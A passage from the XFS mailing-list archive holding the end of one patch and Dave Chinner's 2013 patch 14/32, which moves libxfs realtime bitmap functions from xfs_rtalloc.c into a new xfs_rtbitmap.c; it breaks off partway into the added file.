(DA) block - */ -static inline xfs_dablk_t -xfs_dir2_byte_to_da(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return xfs_dir2_db_to_da(mp, xfs_dir2_byte_to_db(mp, by)); -} - -/* - * Convert block and offset to dataptr - */ -static inline xfs_dir2_dataptr_t -xfs_dir2_db_off_to_dataptr(struct xfs_mount *mp, xfs_dir2_db_t db, - xfs_dir2_data_aoff_t o) -{ - return xfs_dir2_byte_to_dataptr(mp, xfs_dir2_db_off_to_byte(mp, db, o)); -} - -/* - * Convert block (dablk) to block (DB) - */ -static inline xfs_dir2_db_t -xfs_dir2_da_to_db(struct xfs_mount *mp, xfs_dablk_t da) -{ - return (xfs_dir2_db_t)(da >> mp->m_sb.sb_dirblklog); -} - -/* - * Convert block (dablk) to byte offset in space - */ -static inline xfs_dir2_off_t -xfs_dir2_da_to_byte(struct xfs_mount *mp, xfs_dablk_t da) -{ - return xfs_dir2_db_off_to_byte(mp, xfs_dir2_da_to_db(mp, da), 0); -} - -/* - * Free space block defintions for the node format. - */ - -/* - * Offset of the freespace index. - */ -#define XFS_DIR2_FREE_SPACE 2 -#define XFS_DIR2_FREE_OFFSET (XFS_DIR2_FREE_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_FREE_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_FREE_OFFSET) - -typedef struct xfs_dir2_free_hdr { - __be32 magic; /* XFS_DIR2_FREE_MAGIC */ - __be32 firstdb; /* db of first entry */ - __be32 nvalid; /* count of valid entries */ - __be32 nused; /* count of used entries */ -} xfs_dir2_free_hdr_t; - -typedef struct xfs_dir2_free { - xfs_dir2_free_hdr_t hdr; /* block header */ - __be16 bests[]; /* best free counts */ - /* unused entries are -1 */ -} xfs_dir2_free_t; - -struct xfs_dir3_free_hdr { - struct xfs_dir3_blk_hdr hdr; - __be32 firstdb; /* db of first entry */ - __be32 nvalid; /* count of valid entries */ - __be32 nused; /* count of used entries */ - __be32 pad; /* 64 bit alignment */ -}; - -struct xfs_dir3_free { - struct xfs_dir3_free_hdr hdr; - __be16 bests[]; /* best free counts */ - /* unused entries are -1 */ -}; - -#define XFS_DIR3_FREE_CRC_OFF offsetof(struct xfs_dir3_free, hdr.hdr.crc) - -/* - * In core version of the free block header, abstracted away from on-disk format - * differences. Use this in the code, and convert to/from the disk version using - * xfs_dir3_free_hdr_from_disk/xfs_dir3_free_hdr_to_disk. - */ -struct xfs_dir3_icfree_hdr { - __uint32_t magic; - __uint32_t firstdb; - __uint32_t nvalid; - __uint32_t nused; - -}; - -void xfs_dir3_free_hdr_from_disk(struct xfs_dir3_icfree_hdr *to, - struct xfs_dir2_free *from); - -static inline int -xfs_dir3_free_hdr_size(struct xfs_mount *mp) -{ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return sizeof(struct xfs_dir3_free_hdr); - return sizeof(struct xfs_dir2_free_hdr); -} - -static inline int -xfs_dir3_free_max_bests(struct xfs_mount *mp) -{ - return (mp->m_dirblksize - xfs_dir3_free_hdr_size(mp)) / - sizeof(xfs_dir2_data_off_t); -} - -static inline __be16 * -xfs_dir3_free_bests_p(struct xfs_mount *mp, struct xfs_dir2_free *free) -{ - return (__be16 *)((char *)free + xfs_dir3_free_hdr_size(mp)); -} - -/* - * Convert data space db to the corresponding free db. - */ -static inline xfs_dir2_db_t -xfs_dir2_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir3_free_max_bests(mp); -} - -/* - * Convert data space db to the corresponding index in a free db. - */ -static inline int -xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return db % xfs_dir3_free_max_bests(mp); -} - -/* - * Single block format. - * - * The single block format looks like the following drawing on disk: - * - * +-------------------------------------------------+ - * | xfs_dir2_data_hdr_t | - * +-------------------------------------------------+ - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t : - * | ... | - * +-------------------------------------------------+ - * | unused space | - * +-------------------------------------------------+ - * | ... | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * +-------------------------------------------------+ - * | xfs_dir2_block_tail_t | - * +-------------------------------------------------+ - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - */ - -typedef struct xfs_dir2_block_tail { - __be32 count; /* count of leaf entries */ - __be32 stale; /* count of stale lf entries */ -} xfs_dir2_block_tail_t; - -/* - * Pointer to the leaf header embedded in a data block (1-block format) - */ -static inline struct xfs_dir2_block_tail * -xfs_dir2_block_tail_p(struct xfs_mount *mp, struct xfs_dir2_data_hdr *hdr) -{ - return ((struct xfs_dir2_block_tail *) - ((char *)hdr + mp->m_dirblksize)) - 1; -} - -/* - * Pointer to the leaf entries embedded in a data block (1-block format) - */ -static inline struct xfs_dir2_leaf_entry * -xfs_dir2_block_leaf_p(struct xfs_dir2_block_tail *btp) -{ - return ((struct xfs_dir2_leaf_entry *)btp) - be32_to_cpu(btp->count); -} - -#endif /* __XFS_DIR2_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0CD2129E38 for ; Sun, 29 Sep 2013 22:16:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9BC96304053 for ; Sun, 29 Sep 2013 20:16:06 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0009-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id BoBpYfSR0pjVBdbx for ; Sun, 29 Sep 2013 20:16:01 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAIfsSFJ5LCC0/2dsb2JhbABSCIMHrXmVKxd0giUBAQUaAQwvMwgYMTkDGxmIBbwMjhMBhWYDojiHQIM2KoEt Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Ox-3r for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002G8-2h for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 14/32] libxfs: xfs_rtalloc.c becomes xfs_rtbitmap.c Date: Mon, 30 Sep 2013 13:15:26 +1000 X-ASG-Orig-Subj: [PATCH 14/32] libxfs: xfs_rtalloc.c becomes xfs_rtbitmap.c Message-Id: <1380510944-8571-15-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510960 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner To match the split-up of the kernel xfs_rtalloc.c file, convert the libxfs version of xfs_rtalloc.c to match the newly shared kernel source file with all the realtime bitmap functions in it, xfs_rtbitmap.c. Signed-off-by: Dave Chinner --- libxfs/Makefile | 2 +- libxfs/xfs_rtalloc.c | 776 ---------------------------------------- libxfs/xfs_rtbitmap.c | 951 ++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 952 insertions(+), 777 deletions(-) delete mode 100644 libxfs/xfs_rtalloc.c create mode 100644 libxfs/xfs_rtbitmap.c diff --git a/libxfs/Makefile b/libxfs/Makefile index 4522218..ae15a5d 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -35,7 +35,7 @@ CFILES = cache.c \ xfs_inode_fork.c \ xfs_ialloc_btree.c \ xfs_log_rlimit.c \ - xfs_rtalloc.c \ + xfs_rtbitmap.c \ xfs_sb.c \ xfs_symlink_remote.c \ xfs_trans_resv.c diff --git a/libxfs/xfs_rtalloc.c b/libxfs/xfs_rtalloc.c deleted file mode 100644 index f5a90b2..0000000 --- a/libxfs/xfs_rtalloc.c +++ /dev/null @@ -1,776 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -/* - * Prototypes for internal functions. - */ - - -STATIC int xfs_rtfind_back(xfs_mount_t *, xfs_trans_t *, xfs_rtblock_t, - xfs_rtblock_t, xfs_rtblock_t *); -STATIC int xfs_rtfind_forw(xfs_mount_t *, xfs_trans_t *, xfs_rtblock_t, - xfs_rtblock_t, xfs_rtblock_t *); -STATIC int xfs_rtmodify_range(xfs_mount_t *, xfs_trans_t *, xfs_rtblock_t, - xfs_extlen_t, int); -STATIC int xfs_rtmodify_summary(xfs_mount_t *, xfs_trans_t *, int, - xfs_rtblock_t, int, xfs_buf_t **, xfs_fsblock_t *); - -/* - * Internal functions. - */ - -/* - * Get a buffer for the bitmap or summary file block specified. - * The buffer is returned read and locked. - */ -STATIC int /* error */ -xfs_rtbuf_get( - xfs_mount_t *mp, /* file system mount structure */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t block, /* block number in bitmap or summary */ - int issum, /* is summary not bitmap */ - xfs_buf_t **bpp) /* output: buffer for the block */ -{ - xfs_buf_t *bp; /* block buffer, result */ - xfs_inode_t *ip; /* bitmap or summary inode */ - xfs_bmbt_irec_t map; - int nmap = 1; - int error; /* error value */ - - ip = issum ? mp->m_rsumip : mp->m_rbmip; - - error = xfs_bmapi_read(ip, block, 1, &map, &nmap, XFS_DATA_FORK); - if (error) - return error; - - ASSERT(map.br_startblock != NULLFSBLOCK); - error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, - XFS_FSB_TO_DADDR(mp, map.br_startblock), - mp->m_bsize, 0, &bp, NULL); - if (error) - return error; - ASSERT(!xfs_buf_geterror(bp)); - *bpp = bp; - return 0; -} - -/* - * Searching backward from start to limit, find the first block whose - * allocated/free state is different from start's. - */ -STATIC int /* error */ -xfs_rtfind_back( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block to look at */ - xfs_rtblock_t limit, /* last block to look at */ - xfs_rtblock_t *rtblock) /* out: start block found */ -{ - xfs_rtword_t *b; /* current word in buffer */ - int bit; /* bit number in the word */ - xfs_rtblock_t block; /* bitmap block number */ - xfs_buf_t *bp; /* buf for the block */ - xfs_rtword_t *bufp; /* starting word in buffer */ - int error; /* error value */ - xfs_rtblock_t firstbit; /* first useful bit in the word */ - xfs_rtblock_t i; /* current bit number rel. to start */ - xfs_rtblock_t len; /* length of inspected area */ - xfs_rtword_t mask; /* mask of relevant bits for value */ - xfs_rtword_t want; /* mask for "good" values */ - xfs_rtword_t wdiff; /* difference from wanted value */ - int word; /* word number in the buffer */ - - /* - * Compute and read in starting bitmap block for starting block. - */ - block = XFS_BITTOBLOCK(mp, start); - error = xfs_rtbuf_get(mp, tp, block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - /* - * Get the first word's index & point to it. - */ - word = XFS_BITTOWORD(mp, start); - b = &bufp[word]; - bit = (int)(start & (XFS_NBWORD - 1)); - len = start - limit + 1; - /* - * Compute match value, based on the bit at start: if 1 (free) - * then all-ones, else all-zeroes. - */ - want = (*b & ((xfs_rtword_t)1 << bit)) ? -1 : 0; - /* - * If the starting position is not word-aligned, deal with the - * partial word. - */ - if (bit < XFS_NBWORD - 1) { - /* - * Calculate first (leftmost) bit number to look at, - * and mask for all the relevant bits in this word. - */ - firstbit = XFS_RTMAX((xfs_srtblock_t)(bit - len + 1), 0); - mask = (((xfs_rtword_t)1 << (bit - firstbit + 1)) - 1) << - firstbit; - /* - * Calculate the difference between the value there - * and what we're looking for. - */ - if ((wdiff = (*b ^ want) & mask)) { - /* - * Different. Mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i = bit - XFS_RTHIBIT(wdiff); - *rtblock = start - i + 1; - return 0; - } - i = bit - firstbit + 1; - /* - * Go on to previous block if that's where the previous word is - * and we need the previous word. - */ - if (--word == -1 && i < len) { - /* - * If done with this block, get the previous one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, --block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - word = XFS_BLOCKWMASK(mp); - b = &bufp[word]; - } else { - /* - * Go on to the previous word in the buffer. - */ - b--; - } - } else { - /* - * Starting on a word boundary, no partial word. - */ - i = 0; - } - /* - * Loop over whole words in buffers. When we use up one buffer - * we move on to the previous one. - */ - while (len - i >= XFS_NBWORD) { - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = *b ^ want)) { - /* - * Different, mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_NBWORD - 1 - XFS_RTHIBIT(wdiff); - *rtblock = start - i + 1; - return 0; - } - i += XFS_NBWORD; - /* - * Go on to previous block if that's where the previous word is - * and we need the previous word. - */ - if (--word == -1 && i < len) { - /* - * If done with this block, get the previous one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, --block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - word = XFS_BLOCKWMASK(mp); - b = &bufp[word]; - } else { - /* - * Go on to the previous word in the buffer. - */ - b--; - } - } - /* - * If not ending on a word boundary, deal with the last - * (partial) word. - */ - if (len - i) { - /* - * Calculate first (leftmost) bit number to look at, - * and mask for all the relevant bits in this word. - */ - firstbit = XFS_NBWORD - (len - i); - mask = (((xfs_rtword_t)1 << (len - i)) - 1) << firstbit; - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = (*b ^ want) & mask)) { - /* - * Different, mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_NBWORD - 1 - XFS_RTHIBIT(wdiff); - *rtblock = start - i + 1; - return 0; - } else - i = len; - } - /* - * No match, return that we scanned the whole area. - */ - xfs_trans_brelse(tp, bp); - *rtblock = start - i + 1; - return 0; -} - -/* - * Searching forward from start to limit, find the first block whose - * allocated/free state is different from start's. - */ -STATIC int /* error */ -xfs_rtfind_forw( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block to look at */ - xfs_rtblock_t limit, /* last block to look at */ - xfs_rtblock_t *rtblock) /* out: start block found */ -{ - xfs_rtword_t *b; /* current word in buffer */ - int bit; /* bit number in the word */ - xfs_rtblock_t block; /* bitmap block number */ - xfs_buf_t *bp; /* buf for the block */ - xfs_rtword_t *bufp; /* starting word in buffer */ - int error; /* error value */ - xfs_rtblock_t i; /* current bit number rel. to start */ - xfs_rtblock_t lastbit; /* last useful bit in the word */ - xfs_rtblock_t len; /* length of inspected area */ - xfs_rtword_t mask; /* mask of relevant bits for value */ - xfs_rtword_t want; /* mask for "good" values */ - xfs_rtword_t wdiff; /* difference from wanted value */ - int word; /* word number in the buffer */ - - /* - * Compute and read in starting bitmap block for starting block. - */ - block = XFS_BITTOBLOCK(mp, start); - error = xfs_rtbuf_get(mp, tp, block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - /* - * Get the first word's index & point to it. - */ - word = XFS_BITTOWORD(mp, start); - b = &bufp[word]; - bit = (int)(start & (XFS_NBWORD - 1)); - len = limit - start + 1; - /* - * Compute match value, based on the bit at start: if 1 (free) - * then all-ones, else all-zeroes. - */ - want = (*b & ((xfs_rtword_t)1 << bit)) ? -1 : 0; - /* - * If the starting position is not word-aligned, deal with the - * partial word. - */ - if (bit) { - /* - * Calculate last (rightmost) bit number to look at, - * and mask for all the relevant bits in this word. - */ - lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); - mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; - /* - * Calculate the difference between the value there - * and what we're looking for. - */ - if ((wdiff = (*b ^ want) & mask)) { - /* - * Different. Mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i = XFS_RTLOBIT(wdiff) - bit; - *rtblock = start + i - 1; - return 0; - } - i = lastbit - bit; - /* - * Go on to next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { - /* - * If done with this block, get the previous one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); - if (error) { - return error; - } - b = bufp = bp->b_addr; - word = 0; - } else { - /* - * Go on to the previous word in the buffer. - */ - b++; - } - } else { - /* - * Starting on a word boundary, no partial word. - */ - i = 0; - } - /* - * Loop over whole words in buffers. When we use up one buffer - * we move on to the next one. - */ - while (len - i >= XFS_NBWORD) { - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = *b ^ want)) { - /* - * Different, mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_RTLOBIT(wdiff); - *rtblock = start + i - 1; - return 0; - } - i += XFS_NBWORD; - /* - * Go on to next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { - /* - * If done with this block, get the next one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); - if (error) { - return error; - } - b = bufp = bp->b_addr; - word = 0; - } else { - /* - * Go on to the next word in the buffer. - */ - b++; - } - } - /* - * If not ending on a word boundary, deal with the last - * (partial) word. - */ - if ((lastbit = len - i)) { - /* - * Calculate mask for all the relevant bits in this word. - */ - mask = ((xfs_rtword_t)1 << lastbit) - 1; - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = (*b ^ want) & mask)) { - /* - * Different, mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_RTLOBIT(wdiff); - *rtblock = start + i - 1; - return 0; - } else - i = len; - } - /* - * No match, return that we scanned the whole area. - */ - xfs_trans_brelse(tp, bp); - *rtblock = start + i - 1; - return 0; -} - -/* - * Mark an extent specified by start and len freed. - * Updates all the summary information as well as the bitmap. - */ -STATIC int /* error */ -xfs_rtfree_range( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block to free */ - xfs_extlen_t len, /* length to free */ - xfs_buf_t **rbpp, /* in/out: summary block buffer */ - xfs_fsblock_t *rsb) /* in/out: summary block number */ -{ - xfs_rtblock_t end; /* end of the freed extent */ - int error; /* error value */ - xfs_rtblock_t postblock = 0; /* first block freed > end */ - xfs_rtblock_t preblock = 0; /* first block freed < start */ - - end = start + len - 1; - /* - * Modify the bitmap to mark this extent freed. - */ - error = xfs_rtmodify_range(mp, tp, start, len, 1); - if (error) { - return error; - } - /* - * Assume we're freeing out of the middle of an allocated extent. - * We need to find the beginning and end of the extent so we can - * properly update the summary. - */ - error = xfs_rtfind_back(mp, tp, start, 0, &preblock); - if (error) { - return error; - } - /* - * Find the next allocated block (end of allocated extent). - */ - error = xfs_rtfind_forw(mp, tp, end, mp->m_sb.sb_rextents - 1, - &postblock); - if (error) - return error; - /* - * If there are blocks not being freed at the front of the - * old extent, add summary data for them to be allocated. - */ - if (preblock < start) { - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(start - preblock), - XFS_BITTOBLOCK(mp, preblock), -1, rbpp, rsb); - if (error) { - return error; - } - } - /* - * If there are blocks not being freed at the end of the - * old extent, add summary data for them to be allocated. - */ - if (postblock > end) { - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(postblock - end), - XFS_BITTOBLOCK(mp, end + 1), -1, rbpp, rsb); - if (error) { - return error; - } - } - /* - * Increment the summary information corresponding to the entire - * (new) free extent. - */ - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(postblock + 1 - preblock), - XFS_BITTOBLOCK(mp, preblock), 1, rbpp, rsb); - return error; -} - -/* - * Set the given range of bitmap bits to the given value. - * Do whatever I/O and logging is required. - */ -STATIC int /* error */ -xfs_rtmodify_range( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block to modify */ - xfs_extlen_t len, /* length of extent to modify */ - int val) /* 1 for free, 0 for allocated */ -{ - xfs_rtword_t *b; /* current word in buffer */ - int bit; /* bit number in the word */ - xfs_rtblock_t block; /* bitmap block number */ - xfs_buf_t *bp; /* buf for the block */ - xfs_rtword_t *bufp; /* starting word in buffer */ - int error; /* error value */ - xfs_rtword_t *first; /* first used word in the buffer */ - int i; /* current bit number rel. to start */ - int lastbit; /* last useful bit in word */ - xfs_rtword_t mask; /* mask o frelevant bits for value */ - int word; /* word number in the buffer */ - - /* - * Compute starting bitmap block number. - */ - block = XFS_BITTOBLOCK(mp, start); - /* - * Read the bitmap block, and point to its data. - */ - error = xfs_rtbuf_get(mp, tp, block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - /* - * Compute the starting word's address, and starting bit. - */ - word = XFS_BITTOWORD(mp, start); - first = b = &bufp[word]; - bit = (int)(start & (XFS_NBWORD - 1)); - /* - * 0 (allocated) => all zeroes; 1 (free) => all ones. - */ - val = -val; - /* - * If not starting on a word boundary, deal with the first - * (partial) word. - */ - if (bit) { - /* - * Compute first bit not changed and mask of relevant bits. - */ - lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); - mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; - /* - * Set/clear the active bits. - */ - if (val) - *b |= mask; - else - *b &= ~mask; - i = lastbit - bit; - /* - * Go on to the next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { - /* - * Log the changed part of this block. - * Get the next one. - */ - xfs_trans_log_buf(tp, bp, - (uint)((char *)first - (char *)bufp), - (uint)((char *)b - (char *)bufp)); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); - if (error) { - return error; - } - first = b = bufp = bp->b_addr; - word = 0; - } else { - /* - * Go on to the next word in the buffer - */ - b++; - } - } else { - /* - * Starting on a word boundary, no partial word. - */ - i = 0; - } - /* - * Loop over whole words in buffers. When we use up one buffer - * we move on to the next one. - */ - while (len - i >= XFS_NBWORD) { - /* - * Set the word value correctly. - */ - *b = val; - i += XFS_NBWORD; - /* - * Go on to the next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { - /* - * Log the changed part of this block. - * Get the next one. - */ - xfs_trans_log_buf(tp, bp, - (uint)((char *)first - (char *)bufp), - (uint)((char *)b - (char *)bufp)); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); - if (error) { - return error; - } - first = b = bufp = bp->b_addr; - word = 0; - } else { - /* - * Go on to the next word in the buffer - */ - b++; - } - } - /* - * If not ending on a word boundary, deal with the last - * (partial) word. - */ - if ((lastbit = len - i)) { - /* - * Compute a mask of relevant bits. - */ - bit = 0; - mask = ((xfs_rtword_t)1 << lastbit) - 1; - /* - * Set/clear the active bits. - */ - if (val) - *b |= mask; - else - *b &= ~mask; - b++; - } - /* - * Log any remaining changed bytes. - */ - if (b > first) - xfs_trans_log_buf(tp, bp, (uint)((char *)first - (char *)bufp), - (uint)((char *)b - (char *)bufp - 1)); - return 0; -} - -/* - * Read and modify the summary information for a given extent size, - * bitmap block combination. - * Keeps track of a current summary block, so we don't keep reading - * it from the buffer cache. - */ -STATIC int /* error */ -xfs_rtmodify_summary( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - int log, /* log2 of extent size */ - xfs_rtblock_t bbno, /* bitmap block number */ - int delta, /* change to make to summary info */ - xfs_buf_t **rbpp, /* in/out: summary block buffer */ - xfs_fsblock_t *rsb) /* in/out: summary block number */ -{ - xfs_buf_t *bp; /* buffer for the summary block */ - int error; /* error value */ - xfs_fsblock_t sb; /* summary fsblock */ - int so; /* index into the summary file */ - xfs_suminfo_t *sp; /* pointer to returned data */ - - /* - * Compute entry number in the summary file. - */ - so = XFS_SUMOFFS(mp, log, bbno); - /* - * Compute the block number in the summary file. - */ - sb = XFS_SUMOFFSTOBLOCK(mp, so); - /* - * If we have an old buffer, and the block number matches, use that. - */ - if (rbpp && *rbpp && *rsb == sb) - bp = *rbpp; - /* - * Otherwise we have to get the buffer. - */ - else { - /* - * If there was an old one, get rid of it first. - */ - if (rbpp && *rbpp) - xfs_trans_brelse(tp, *rbpp); - error = xfs_rtbuf_get(mp, tp, sb, 1, &bp); - if (error) { - return error; - } - /* - * Remember this buffer and block for the next call. - */ - if (rbpp) { - *rbpp = bp; - *rsb = sb; - } - } - /* - * Point to the summary information, modify and log it. - */ - sp = XFS_SUMPTR(mp, bp, so); - *sp += delta; - xfs_trans_log_buf(tp, bp, (uint)((char *)sp - (char *)bp->b_addr), - (uint)((char *)sp - (char *)bp->b_addr + sizeof(*sp) - 1)); - return 0; -} - -/* - * Free an extent in the realtime subvolume. Length is expressed in - * realtime extents, as is the block number. - */ -int /* error */ -xfs_rtfree_extent( - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t bno, /* starting block number to free */ - xfs_extlen_t len) /* length of extent freed */ -{ - int error; /* error value */ - xfs_mount_t *mp; /* file system mount structure */ - xfs_fsblock_t sb; /* summary file block number */ - xfs_buf_t *sumbp; /* summary file block buffer */ - - mp = tp->t_mountp; - - ASSERT(mp->m_rbmip->i_itemp != NULL); - ASSERT(xfs_isilocked(mp->m_rbmip, XFS_ILOCK_EXCL)); - -#ifdef DEBUG - /* - * Check to see that this whole range is currently allocated. - */ - { - int stat; /* result from checking range */ - - error = xfs_rtcheck_alloc_range(mp, tp, bno, len, &stat); - if (error) { - return error; - } - ASSERT(stat); - } -#endif - sumbp = NULL; - /* - * Free the range of realtime blocks. - */ - error = xfs_rtfree_range(mp, tp, bno, len, &sumbp, &sb); - if (error) { - return error; - } - /* - * Mark more blocks free in the superblock. - */ - xfs_trans_mod_sb(tp, XFS_TRANS_SB_FREXTENTS, (long)len); - /* - * If we've now freed all the blocks, reset the file sequence - * number to 0. - */ - if (tp->t_frextents_delta + mp->m_sb.sb_frextents == - mp->m_sb.sb_rextents) { - if (!(mp->m_rbmip->i_d.di_flags & XFS_DIFLAG_NEWRTBM)) - mp->m_rbmip->i_d.di_flags |= XFS_DIFLAG_NEWRTBM; - *(__uint64_t *)&mp->m_rbmip->i_d.di_atime = 0; - xfs_trans_log_inode(tp, mp->m_rbmip, XFS_ILOG_CORE); - } - return 0; -} diff --git a/libxfs/xfs_rtbitmap.c b/libxfs/xfs_rtbitmap.c new file mode 100644 index 0000000..1d2334e --- /dev/null +++ b/libxfs/xfs_rtbitmap.c @@ -0,0 +1,951 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" + +/* + * Realtime allocator bitmap functions shared with userspace. + */ + +/* + * Get a buffer for the bitmap or summary file block specified. + * The buffer is returned read and locked. + */ +int +xfs_rtbuf_get( + xfs_mount_t *mp, /* file system mount structure */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t block, /* block number in bitmap or summary */ + int issum, /* is summary not bitmap */ + xfs_buf_t **bpp) /* output: buffer for the block */ +{ + xfs_buf_t *bp; /* block buffer, result */ + xfs_inode_t *ip; /* bitmap or summary inode */ + xfs_bmbt_irec_t map; + int nmap = 1; + int error; /* error value */ + + ip = issum ? mp->m_rsumip : mp->m_rbmip; + + error = xfs_bmapi_read(ip, block, 1, &map, &nmap, XFS_DATA_FORK); + if (error) + return error; + + ASSERT(map.br_startblock != NULLFSBLOCK); + error = 